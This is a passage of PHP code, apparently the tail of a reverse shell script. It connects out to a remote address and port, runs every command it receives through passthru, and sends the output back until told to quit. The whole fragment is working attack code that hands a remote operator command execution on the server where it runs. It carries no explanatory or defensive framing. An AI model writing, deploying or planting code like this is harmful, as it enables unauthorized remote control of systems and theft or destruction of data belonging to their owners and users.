$timeout,'usec'=>0)); socket_set_option($sock,SOL_SOCKET,SO_SNDTIMEO,array('sec'=>$timeout,'usec'=>0)); socket_connect($sock,$address,$port) or die("Could not connect to the socket"); while ($read=socket_read($sock,$buff_size)) { $out=""; if ($read) { if (strcmp($read,"quit")===0 || strcmp($read,"q")===0) { break; } ob_start(); passthru($read); $out=ob_get_contents(); ob_end_clean(); } $length=strlen($out); while (1) { $sent=socket_write($sock,$out,$length); if ($sent===false) { break; } if ($sent<$length) { $st=substr($st,$sent); $length-=$sent; } else { break; } } } socket_close($sock); ?>